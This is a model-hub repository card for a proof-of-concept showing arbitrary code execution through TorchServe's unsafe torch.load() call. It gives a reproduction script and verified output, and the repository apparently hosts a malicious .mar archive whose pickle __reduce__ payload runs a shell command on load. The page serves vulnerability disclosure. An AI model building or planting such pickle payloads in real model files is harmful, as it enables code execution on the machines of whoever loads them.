You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

PyTorch Archive (.mar) โ€” Arbitrary Code Execution PoC

Proof-of-concept for unsafe torch.load() in TorchServe base_handler.py.

Root Cause

ts/torch_handler/base_handler.py:355 in TorchServe calls torch.load() without weights_only=True:

state_dict = torch.load(model_pt_path, map_location=map_location)

A .mar archive is a ZIP file containing model.pt. When loaded by TorchServe (or simulated via torch.load), a malicious model.pt with a __reduce__ payload triggers RCE.

Reproduce

import torch, zipfile

with zipfile.ZipFile('malicious.mar', 'r') as zf:
    zf.extractall('/tmp/mar_extracted')

# Simulates TorchServe base_handler.py:355
state_dict = torch.load('/tmp/mar_extracted/model.pt', map_location='cpu')
# id > /tmp/mar_rce_output.txt executes

Verified Output

uid=501(wulonchia) gid=20(staff) groups=20(staff),...

PyTorch FutureWarning confirms: weights_only=False is the unsafe default.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support